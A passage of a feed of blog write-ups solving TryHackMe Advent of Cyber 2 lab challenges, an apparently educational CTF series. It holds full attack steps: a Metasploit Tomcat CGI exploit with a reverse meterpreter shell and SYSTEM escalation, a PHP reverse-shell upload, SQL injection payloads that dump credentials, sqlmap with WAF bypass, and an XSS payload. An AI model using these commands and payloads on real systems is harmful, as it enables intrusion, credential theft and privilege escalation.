&lt;li&gt;Load the webpage on {machine IP}:8080 reveals that it is using &lt;code&gt;Apache Tomcat v9.0.17&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Search online about Apache Tomcat 9 CGI CVE to find what exploits can be used against the webserver
    - One of the top search results is &lt;a href="https://tomcat.apache.org/security-9.html" rel="noopener noreferrer"&gt;Apache Tomcat 9.x vulnerabilities&lt;/a&gt;
    - The exploit that we will be using is &lt;a href="https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.19" rel="noopener noreferrer"&gt;fixed in v9.0.19&lt;/a&gt; (CVE-2019-0232)&lt;/li&gt;

&lt;li&gt;

&lt;a href="https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html" rel="noopener noreferrer"&gt;Install Metasploit&lt;/a&gt;. Originally was going to do manual exploitation, however in the interest of time installed Metasploit in WSL2 instead

&lt;ul&gt;
&lt;li&gt;follow the &lt;a href="https://tryhackme.com/access" rel="noopener noreferrer"&gt;tryhackme guide to install and configure openvpn&lt;/a&gt; for linux&lt;/li&gt;
&lt;li&gt;To connect to the openvpn, run &lt;code&gt;sudo openvpn /path/to/file.ovpn&lt;/code&gt;. No need to run openvpn as a service as we are only using this connection temporary.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Next, figuring out what is the CGI script path that is vulnerable

&lt;ul&gt;
&lt;li&gt;Tried using gobuster to scan for the path by using wordlist from Seclist

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/c/Users/wizlee/Downloads/Hackish/gobuster/gobuster.exe dir -u http://{webserver IP}:8080 -w xmas-advent-2020/wordlist/CGIs.txt 2&amp;gt;/dev/null&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;No results from the scan. Turned out the CGI script is already informed in the question 🌚! 

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/cgi-bin/elfwhacker.bat&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;metasploit complete command history

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;search CVE-2019-0232&lt;/code&gt; to search for which exploit to use&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;use 0&lt;/code&gt; to select the 1st exploit from the search result&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;options&lt;/code&gt; to view all the paramaters required to exploit and run the payload&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;set RHOST {machine IP}&lt;/code&gt; to set webserver IP&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;set LHOST {openvpn IP}&lt;/code&gt; to set attacker machine IP. This is for running the payload which is a reverse TCP shell (&lt;code&gt;windows/meterpreter/reverse_tcp&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;set TARGETURI /cgi-bin/elfwhacker.bat&lt;/code&gt; to set the path to the vulnerable CGI script&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/code&gt; to set the payload. This should be optional as this payload should be selected automatically.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;exploit&lt;/code&gt; to start running the exploit&lt;/li&gt;
&lt;li&gt;When the prompt changed to &lt;code&gt;meterpreter &amp;gt;&lt;/code&gt;, and some console output about a session is opened. The reverse TCP connection is established successfully.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;shell&lt;/code&gt; to run shell on target machine&lt;/li&gt;
&lt;li&gt;Now the prompt should show windows cmd prompt. Run &lt;code&gt;dir&lt;/code&gt; to locate the flag&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;type flag1.txt&lt;/code&gt; to view the flag. PROFIT 💰&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  🎉Bonus &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;There are at least 2 ways to escalate privileges. This section is a journal on exploring that!&lt;/li&gt;
&lt;li&gt;Run the exploit steps to gain the shell access&lt;/li&gt;
&lt;li&gt;Recon

&lt;ul&gt;
&lt;li&gt;When in meterpreter, &lt;code&gt;run post/multi/gather/tomcat_gather&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;This post exploitation module is found in &lt;a href="https://www.hackercoolmagazine.com/windows-post-exploitation-recon-with-metasploit/" rel="noopener noreferrer"&gt;this site&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;The tomcat username and password seems to be simple tomcat:tomcat&lt;/li&gt;
&lt;li&gt;that don't looks like the windows admin user, it looks to be just tomcat specific user&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;To confirm that, &lt;code&gt;run post/windows/gather/enum_logged_on_users&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;This shows us the recently logged on users: &lt;code&gt;elfmcskidy&lt;/code&gt;, &lt;code&gt;cmnatic&lt;/code&gt;, and &lt;code&gt;Administrator&lt;/code&gt;.

&lt;ul&gt;
&lt;li&gt;The shell session that we acquired is &lt;code&gt;tbfc-web-01\elfmcskidy&lt;/code&gt;. &lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;This is done by running &lt;code&gt;shell&lt;/code&gt;, followed by &lt;code&gt;whoami&lt;/code&gt;. &lt;/li&gt;

&lt;li&gt;We can know &lt;a href="https://superuser.com/questions/191985/how-can-i-tell-if-the-current-user-is-admin-from-windows-command-line" rel="noopener noreferrer"&gt;whether the current user has admin privillage&lt;/a&gt; by running &lt;code&gt;net user %USERNAME%&lt;/code&gt;.
&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4a9tfhtvc2zfoz3wzy3f.png" alt="Net User command output" width="800" height="453"&gt;
&lt;/li&gt;

&lt;li&gt;From the output, we confirmed that &lt;code&gt;elfmcskidy&lt;/code&gt; is a local admin as the user is in the Administrators local group&lt;/li&gt;

&lt;li&gt;Run &lt;code&gt;exit&lt;/code&gt; when we are done with the shell session.&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;
&lt;code&gt;run post/windows/gather/enum_applications&lt;/code&gt; to list all the installed applications

&lt;ul&gt;
&lt;li&gt;One application jumps out which is &lt;code&gt;java&lt;/code&gt;. Which isn't that suprising given that the webserver is using Apache Tomcat.&lt;/li&gt;
&lt;li&gt;However this is a potential privillege escalation gateway that might come in handy.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Having done all the manual recon without any quick idea, &lt;code&gt;run post/multi/recon/local_exploit_suggester&lt;/code&gt; to let the script to automatically suggest exploit for us.

&lt;ul&gt;
&lt;li&gt;Ran &lt;code&gt;info {name of exploits}&lt;/code&gt;  to find an exploit that can escalated privillege&lt;/li&gt;
&lt;li&gt;somehow all the suggested exploits didn't work&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;Escalation successful

&lt;ul&gt;
&lt;li&gt;After the failed attempts on using exploits suggested by &lt;code&gt;local_exploit_suggester&lt;/code&gt;, noticed there's a command called &lt;code&gt;getsystem&lt;/code&gt; in the help menu of meterpreter.&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;getsystem&lt;/code&gt;, viola! Running &lt;code&gt;getuid&lt;/code&gt; confirms that we are &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; 🥳&lt;/li&gt;
&lt;li&gt;However, when running &lt;code&gt;shell&lt;/code&gt;, we are not directed into an interactive shell session.

&lt;ul&gt;
&lt;li&gt;It seems to be a known issue for this room as shown in &lt;a href="https://github.com/rapid7/metasploit-framework/issues/14508" rel="noopener noreferrer"&gt;this github issue&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Use the recommendation to migrate the server instance to another process.&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;migrate {PID of choice that is running under SYSTEM user}&lt;/code&gt;
&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fynm3854hdwphr2jr96s8.png" alt="migrate command output" width="800" height="554"&gt;
&lt;/li&gt;
&lt;li&gt;Here, take note that it mentioned &lt;code&gt;migrating from 3544 to 1396&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Using &lt;code&gt;ps&lt;/code&gt; it is revealed that 3544 is a process called &lt;code&gt;meIir.exe&lt;/code&gt; which is running as &lt;code&gt;elfmcskidy&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;That might be the reason why despite the tokens for SYSTEM user is acquired, we are still not able to create a SYSTEM shell session.&lt;/li&gt;
&lt;li&gt;Running &lt;code&gt;shell&lt;/code&gt; after the migration is done shows that we are &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; user now! ✔&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>beginners</category>
      <category>ctf</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>CTF - Advent of Cyber 2 [2020] Writeups (Day1 to Day9)</title>
      <dc:creator>Middleclass Dev</dc:creator>
      <pubDate>Wed, 10 Aug 2022 15:43:00 +0000</pubDate>
      <link>https://dev.to/middleclassdev/advent-of-cyber-2-2020-writeups-day1-to-day9-288j</link>
      <guid>https://dev.to/middleclassdev/advent-of-cyber-2-2020-writeups-day1-to-day9-288j</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;This post will be the first of the many (hopefully 😉) posts in a series for tryhackme writeups! Specifically, this post is about the now old but very good beginner friendly CTF room - &lt;a href="https://tryhackme.com/room/adventofcyber2" rel="noopener noreferrer"&gt;Advent of Cyber 2&lt;/a&gt;. More details below!&lt;/p&gt;

&lt;p&gt;⚠ &lt;strong&gt;IMPORTANT&lt;/strong&gt; ⚠ For someone who don't wish to be spoilt, do not read the writeup section of this post. A lot of them consisted of the exact commands and steps took when attempting the challenges. &lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table Of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Motivation&lt;/li&gt;
&lt;li&gt;Who should try this tryhackme room&lt;/li&gt;
&lt;li&gt;
Writeups

  Link to writeups categorized by day
  &lt;ul&gt;
&lt;li&gt;Day 1️⃣&lt;/li&gt;
&lt;li&gt;Day 2️⃣&lt;/li&gt;
&lt;li&gt;Day 3️⃣&lt;/li&gt;
&lt;li&gt;Day 4️⃣&lt;/li&gt;
&lt;li&gt;Day 5️⃣&lt;/li&gt;
&lt;li&gt;Day 6️⃣&lt;/li&gt;
&lt;li&gt;Day 7️⃣&lt;/li&gt;
&lt;li&gt;Day 8️⃣&lt;/li&gt;
&lt;li&gt;
Day 9️⃣
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;
&lt;br&gt;
&lt;br&gt;





&lt;h2&gt;
  
  
  ⚡ Motivation &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Despite having a career as a professional software developer for close to 10 years now, I always find myself &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;intrigued by cybersecurity work - pen-testing, malware analysis, reverse engineering, etc&lt;/li&gt;
&lt;li&gt;unknowingly spending significant amount of time exploring related tricks/tools (dotpeek, nmap, sysinternal tools, linux internals, etc)&lt;/li&gt;
&lt;li&gt;and keeping up with relevant news (favourite podcast - &lt;a href="https://www.risky.biz/" rel="noopener noreferrer"&gt;Risky Business&lt;/a&gt;, favourite youtuber - &lt;a href="https://liveoverflow.com/" rel="noopener noreferrer"&gt;LiveOverflow&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Still... Somehow I don't ever feel fulfilled, in fact I think I spread myself too thin over a wide field. A metaphor that comes into mind is me sniffing the smell of great food 🥗 in all corners of the world without eating any of them once! &lt;/p&gt;

&lt;p&gt;Recently stumbled across the &lt;a href="https://www.tryhackme.com/christmas" rel="noopener noreferrer"&gt;advent of cyber&lt;/a&gt; as a fun and beginner friendly way to learn CTF holistically. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The great learning experience that I had so far ignites 🔥 me to complete the whole room (day 25). Will certainly look forward to this year's advent of cyber!&lt;/li&gt;
&lt;li&gt;Decided to also share my writeup because I already write a quite thorough note for personal reference - AKA I mostly only need to additionally write an intro for the start of a new room!&lt;/li&gt;
&lt;li&gt;Lastly, I think that good writing skills is a very important part of cybersecurity work. By publishing writeup articles it serves as a valuable 💎 practise and also a potential portfolio ;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  ❓ Who should try this tryhackme room &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Based on my bias background, I imagine software developers or other IT professionals that would like a gleams of how CTF works will find my writeups mildly beneficial 🙂&lt;/li&gt;
&lt;li&gt;Similarly, I think this room is suitable for IT professionals but not someone that is new with computer technology. &lt;/li&gt;
&lt;li&gt;Information about tryhackme is easily searchable online. For those who like to have something to start reading about right away, this is an article about &lt;a href="https://tryhackme.com/resources/blog/free_path" rel="noopener noreferrer"&gt;what are other good tryhackme room that are free?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;☝ Last by not least, the writeups are detailed but the words used are not polished unlike the introduction text.

&lt;ul&gt;
&lt;li&gt;Aside from the exact commands and steps, the writeups also contains bonus links to tools that I found useful.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  ⭐ Writeups &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Finally the meat of the post! Note that I am mostly using my local windows machine + OpenVPN as the 'attacker' machine.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You can opt to use the 'AttackTheBox' machine which is free to deploy once a day. &lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Day 1️⃣- Simple cookie auth bypass &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;using &lt;a href="https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&amp;amp;input=N2IyMjYzNmY2ZDcwNjE2ZTc5MjIzYTIyNTQ2ODY1MjA0MjY1NzM3NDIwNDY2NTczNzQ2OTc2NjE2YzIwNDM2ZjZkNzA2MTZlNzkyMjJjMjAyMjc1NzM2NTcyNmU2MTZkNjUyMjNhMjI2YzY1NzQ2ZDY1Njk2ZTIyN2Q" rel="noopener noreferrer"&gt;cyberchef&lt;/a&gt; or &lt;a href="https://www.dcode.fr/cipher-identifier" rel="noopener noreferrer"&gt;dcode.fr&lt;/a&gt; to decode the &lt;code&gt;auth&lt;/code&gt; cookie value&lt;/p&gt;

&lt;h3&gt;
  
  
  Day 2️⃣ - Upload vuln &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;There is a recommendation about &lt;a href="https://tryhackme.com/room/uploadvulns" rel="noopener noreferrer"&gt;a room dedicated to bypassing file upload&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;steps

&lt;ul&gt;
&lt;li&gt;uploaded the php file by renaming it from &lt;code&gt;reverse-shell.php&lt;/code&gt; to &lt;code&gt;reverse-shell.png&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;CORRECTION: &lt;code&gt;reverse-shell.jpeg.php&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;use netcat in git bash to listen to reverse shell

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ncat -l 443&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;visit {tryhackme deployed machine}/uploads/reverse-shell.png in browser&lt;/li&gt;

&lt;li&gt;profit&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;unfortunately...

&lt;ul&gt;
&lt;li&gt;need to debug why there's no connection&lt;/li&gt;
&lt;li&gt;make sure firewall allowed inbound connection for ncat.exe for private network&lt;/li&gt;
&lt;li&gt;make sure ncat command is working by connecting to the same port

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ncat -w 5 localhost 43434&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;trying tcpdump / windump

&lt;ul&gt;
&lt;li&gt;tcpdump needs to install additional driver&lt;/li&gt;
&lt;li&gt;windump crash due to exception&lt;/li&gt;
&lt;li&gt;used the following cmds in this attempt

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;netsh interface show interface&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tcpdump.exe -i "Local Area Connection" -nn port 43434&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WinDump.exe -i "Local Area Connection" -nn port 43434&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;{source}&lt;/li&gt;

&lt;li&gt;
&lt;a href="https://support.cpanel.net/hc/en-us/articles/4402800122007-How-to-use-ncat-and-tcpdump-to-test-network-connections" rel="noopener noreferrer"&gt;&lt;/a&gt;&lt;a href="https://support.cpanel.net/hc/en-us/articles/4402800122007-How-to-use-ncat-and-tcpdump-to-test-network-connections" rel="noopener noreferrer"&gt;https://support.cpanel.net/hc/en-us/articles/4402800122007-How-to-use-ncat-and-tcpdump-to-test-network-connections&lt;/a&gt;
&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;Good reference

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tkcyber.com/index.php/2022/06/19/stabilize-a-reverse-shell/" rel="noopener noreferrer"&gt;stabilize reverse shell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;conclusion

&lt;ul&gt;
&lt;li&gt;turn out that...!&lt;/li&gt;
&lt;li&gt;the file uploaded must end with .php&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Day 3️⃣ - Bypass Auth via brute force &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --proxy-server="localhost:8080"&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;"/c/Program Files (x86)/Microsoft/Edge/Application/msedge.exe" --user-data-dir="/c/Users/wizlee/AppData/Local/Microsoft/Edge/User Data/hack" --proxy-server="localhost:8080"&lt;/li&gt;
&lt;li&gt;Debugging why zap not getting traffic

&lt;ul&gt;
&lt;li&gt;spent a lot of time making sure proxy and certificates are configured&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;edge://flags/#unsafely-treat-insecure-origin-as-secure&lt;/code&gt; flag and add the domain to &lt;a href="https://answers.microsoft.com/en-us/microsoftedge/forum/all/how-to-stop-ms-edge-to-auto-redirect-to-https/21b0c999-2042-4487-874b-2fc01a7ca167?page=1" rel="noopener noreferrer"&gt;prevent auto https redirect&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;not working -&amp;gt; "&lt;a href="http://10.10.190.96,http://10.10.190.96:8080,http://10.10.190.96:443" rel="noopener noreferrer"&gt;http://10.10.190.96,http://10.10.190.96:8080,http://10.10.190.96:443&lt;/a&gt;"&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;TURN OUT THAT...

&lt;ul&gt;
&lt;li&gt;Just need to add 127.0.0.1:8080 as the proxy in openvpn client setting&lt;/li&gt;
&lt;li&gt;AND make sure msedge --proxy-server parameter don't specify http!!!!!!!!!!!!!&lt;/li&gt;
&lt;li&gt;And &lt;a href="https://www.zaproxy.org/blog/2022-03-29-portswigger-lab-brute-force-password-change/" rel="noopener noreferrer"&gt;use fuzzer&lt;/a&gt; to brute force username and password&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Day 4️⃣ - Discovery using gobuster and wfuzz &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pip install wfuzz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;download gobuster from it's github repo

&lt;ul&gt;
&lt;li&gt;%USERPROFILE%\Downloads\Hackish\gobuster\gobuster.exe&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;history

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/c/Users/wizlee/Downloads/Hackish/gobuster/gobuster.exe dir -u http://10.10.79.2 -w wordlist.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;download more wordlist from &lt;a href="https://github.dev/danielmiessler/SecLists/blob/master/Discovery/Web-Content/dirsearch.txt" rel="noopener noreferrer"&gt;SecList&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;run gobuster with cleaner output by redirecting stderr to null

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/c/Users/wizlee/Downloads/Hackish/gobuster/gobuster.exe dir -u http://10.10.79.2 -w dirsearch.txt 2&amp;gt;/dev/null&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;found ==&lt;a href="http://10.10.79.2/api/==" rel="noopener noreferrer"&gt;http://10.10.79.2/api/==&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;download wfuzz &lt;code&gt;docker pull ghcr.io/xmendez/wfuzz&lt;/code&gt;
&lt;/li&gt;

&lt;li&gt;run wfuzz

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;docker run --rm -v wordlist/:/wordlist/ -w /wordlist/ -it ghcr.io/xmendez/wfuzz wfuzz -c -z file,date.txt -d “date=FUZZ” -u http://10.10.255.75/api/site-log.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;running in git bash fails. Need to run in cmd

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;docker run --rm -v C:\Users\wizlee\Documents\Project\Grow\hackathon\tryhackme\xmas-advent-2020\wordlist\:/wfuzz/wordlist/ -it "ghcr.io/xmendez/wfuzz" wfuzz -c -z file,/wfuzz/wordlist/date.txt -d “date=FUZZ” -u http://10.10.255.75/api/site-log.ph&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;final working cmd -&amp;gt; &lt;code&gt;docker run --rm -v C:\Users\wizlee\Documents\Project\Grow\hackathon\tryhackme\xmas-advent-2020\wordlist\:/wfuzz/wordlist/ -it "ghcr.io/xmendez/wfuzz" wfuzz -c -z file,/wfuzz/wordlist/date.txt -u http://10.10.255.75/api/site-log.php?date=FUZZ&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Got that final command by referring to &lt;a href="https://wfuzz.readthedocs.io/en/latest/user/basicusage.html" rel="noopener noreferrer"&gt;wfuzz basic usage&lt;/a&gt; and &lt;a href="https://docs.docker.com/engine/reference/commandline/run/" rel="noopener noreferrer"&gt;docker run doc&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Day 5️⃣ - Dump gift list by bypassing login using SQLi &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;SQL injection login bypass exercise&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;username: &lt;code&gt;' or true --&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;password: &lt;code&gt;anything') or true; --&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Resulting backend SQL query&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SELECT * FROM users
WHERE username = '' or true --'
AND password = MD5('anything') or true; --')
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;tips by reading the santa note&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;database used is SQLite&lt;/li&gt;
&lt;li&gt;bypass WAF by using tamper script&lt;/li&gt;
&lt;li&gt;combined: &lt;code&gt;--dbms=SQLite --tamper=space2comment&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;History&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;guessed the login panel by looking at the hint: &lt;code&gt;s**tap****&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;successfully bypass login by filling username with &lt;code&gt;' or true --&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;the searching function seems broken, maybe due to the way we login&lt;/li&gt;
&lt;li&gt;first tried blink SQLi using &lt;code&gt;http://{machine IP}:8000/santapanel?search=1' AND%20(ascii(substr((select%20database()),1,1)))%20=%20115%20--+&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;that fails, then tried a UNION SQLi and it lists out all the gifts!

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://10.10.51.232:8000/santapanel?search=' ORDER BY 1--&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;this answers the questions of how many gifts and also what Paul wants as a gift&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;As UNION SQLi is effective, used that to determine how many column the authentication table has

&lt;ul&gt;
&lt;li&gt;delete the sesion cookies so that we can logout&lt;/li&gt;
&lt;li&gt;found out there's 2 columns for the authentication table&lt;/li&gt;
&lt;li&gt;Give it a shot to run the attack in the search box and it works to extract the auth table despite executed in gift table?

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://10.10.51.232:8000/santapanel?search= ' UNION SELECT username, password FROM users --&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;got the admin user and password via this method&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;For the question of what is the flag, that requires dumping the whole database

&lt;ul&gt;
&lt;li&gt;at first went the wrong direction and try to run sqlmap on the login POST request &lt;/li&gt;
&lt;li&gt;after realizing that is not the correct way, run sqlmap on the search gift GET request instead

&lt;ul&gt;
&lt;li&gt;first save the GET request as a file from the browser devtool &amp;gt; network &amp;gt; right click the request &amp;gt; copy &amp;gt; request header&lt;/li&gt;
&lt;li&gt;then run the following command &lt;code&gt;python sqlmap.py -r ../xmas-advent-2020/day5/santapanel-search --dbms=SQLite --tamper=space2comment --dump-all&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;noticed that we are specifying the database and also a tamper script to bypass the WAF&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Day 6️⃣ - Hijack Wish List via XSS &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Launch proxied msedge

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;"/c/Program Files (x86)/Microsoft/Edge/Application/msedge.exe" --user-data-dir="/c/Users/wizlee/AppData/Local/Microsoft/Edge/User Data/hack" --proxy-server="localhost:8080"&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;History

&lt;ul&gt;
&lt;li&gt;Successfully used stored XSS attack -&amp;gt; &lt;code&gt;end of wish&amp;lt;/p&amp;gt; &amp;lt;script&amp;gt;alert("xss")&amp;lt;/script&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Then just run the automatic scan using OWASP ZAP&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Day 7️⃣ - Analysing basic networking traffic using wireshark &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Most questions here are straight forward

&lt;ul&gt;
&lt;li&gt;Just need to open the packet from the downloaded zip file from the lab&lt;/li&gt;
&lt;li&gt;Follow the instructions and basically just need to use basic filtering such as

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;not ssh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;The least obvious will be the last question, which can be done just by exporting the request using http

&lt;ul&gt;
&lt;li&gt;then select the packet with the context type of &lt;code&gt;application/zip&lt;/code&gt; &amp;gt; save&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Day 8️⃣ - Network discovery using NMap &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Two common TCP scan

&lt;ul&gt;
&lt;li&gt;Connect Scan - &lt;code&gt;nmap -sT {ip}&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;SYN Scan - &lt;code&gt;nmap -sS {ip}&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;SYN/ACK = open&lt;/li&gt;
